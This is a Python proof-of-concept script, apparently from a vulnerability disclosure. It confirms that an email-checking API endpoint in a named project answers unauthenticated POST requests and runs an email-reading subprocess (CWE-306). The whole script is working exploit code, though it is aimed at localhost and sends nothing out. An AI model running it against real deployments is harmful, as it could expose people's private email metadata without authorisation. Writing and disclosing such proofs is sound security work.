Details
poc.py
#!/usr/bin/env python3
"""
VULN-001 Proof-of-Concept: Unauthenticated /api/ops/check-email
CWE-306 — Missing Authentication for Critical Function
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High)
Target: scripts/aetherbrowser/api_server.py (SCBE-AETHERMOORE v4.2.1)
This PoC demonstrates that:
1. POST /api/ops/check-email is accessible without any authentication token.
2. The server responds with HTTP 200 instead of 401/403.
3. The email-reading subprocess (email_reader.py) is executed and its stdout
is returned verbatim in the JSON response — confirming the unauthenticated
code path reaches the sensitive subprocess.
Usage:
python3 poc.py [--host 127.0.0.1] [--port 8100]
"""
import argparse
import json
import sys
import time
import urllib.error
import urllib.request
TIMEOUT = 10
def wait_for_server(host: str, port: int, max_wait: int = 30) -> bool:
"""Poll the health endpoint until the server is ready."""
url = f"http://{host}:{port}/api/health"
deadline = time.time() + max_wait
while time.time() < deadline:
try:
with urllib.request.urlopen(url, timeout=2) as resp:
if resp.status < 500:
return True
except Exception:
pass
time.sleep(1)
return False
def send_unauthenticated_request(host: str, port: int) -> dict:
"""Send POST /api/ops/check-email with NO authentication headers."""
url = f"http://{host}:{port}/api/ops/check-email"
req = urllib.request.Request(
url,
data=b"{}",
method="POST",
headers={"Content-Type" : "application/json"},
# NOTE: No Authorization header, no X-API-Key, no session cookie.
)
try:
with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:
body = resp.read().decode("utf-8", errors="replace")
return {"status": resp.status, "body": body}
except urllib.error.HTTPError as exc:
body = exc.read().decode("utf-8", errors="replace")
return {"status": exc.code, "body": body}
except Exception as exc:
return {"status": -1, "body": str(exc)}
def main() -> int:
parser = argparse.ArgumentParser(description="VULN-001 PoC — unauthenticated check-email")
parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=8100)
args = parser.parse_args()
print("=" * 60)
print("VULN-001 PoC: Unauthenticated /api/ops/check-email")
print("=" * 60)
print(f"Target: http://{args.host}:{args.port}/api/ops/check-email")
print()
# Wait for the server to be ready.
print("[*] Waiting for server to become ready ...")
if not wait_for_server(args.host, args.port):
print("[!] Server did not become ready within 30 s — check the container")
return 1
print("[+] Server is up")
print()
# Send the unauthenticated exploit request.
print("[*] Sending unauthenticated POST /api/ops/check-email ...")
result = send_unauthenticated_request(args.host, args.port)
status = result["status"]
body = result["body"]
print(f"[*] HTTP status: {status}")
print()
print("[*] Response body (first 1500 chars):")
print("-" * 60)
print(body[:1500])
print("-" * 60)
print()
# Parse the JSON response if possible.
output_field = ""
try:
parsed = json.loads(body)
output_field = parsed.get("output", "")
except Exception:
output_field = ""
# Determine pass/fail.
# PASS criteria:
# (a) HTTP 200 — the request was NOT rejected with a 401/403.
# (b) The response body contains the email-reader banner string
# "APOLLO EMAIL READER", proving the subprocess was invoked.
# Note: Without real IMAP credentials the reader will print the banner
# and report "No PROTONMAIL_BRIDGE_PASSWORD set" / "No GMAIL_APP_PASSWORD set".
# With real credentials it would return live email metadata.
crit_auth = (status == 200)
crit_subprocess = ("APOLLO EMAIL READER" in output_field or "APOLLO EMAIL READER" in body)
print("[*] Criteria evaluation:")
print(f" (a) HTTP 200 returned (no auth gate): {'PASS' if crit_auth else 'FAIL'} (got {status})")
print(f" (b) Subprocess executed (banner in response): {'PASS' if crit_subprocess else 'FAIL'}")
print()
if crit_auth and crit_subprocess:
print("[PASS] Vulnerability confirmed: POST /api/ops/check-email")
print(" is reachable without authentication and the email-reading")
print(" subprocess is executed, returning its output to the caller.")
return 0
elif crit_auth and not crit_subprocess:
# Still a valid PASS for the auth-bypass aspect; subprocess may have
# errored out but the missing authentication is proven.
print("[PASS] Auth bypass confirmed: HTTP 200 without credentials.")
print(" Subprocess output not captured (may have crashed), but")
print(" the endpoint is unauthenticated — CWE-306 is confirmed.")
return 0
else:
print("[FAIL] Could not confirm the vulnerability.")
print(f" HTTP status was {status} — expected 200.")
return 2
if __name__ == "__main__":
sys.exit(main())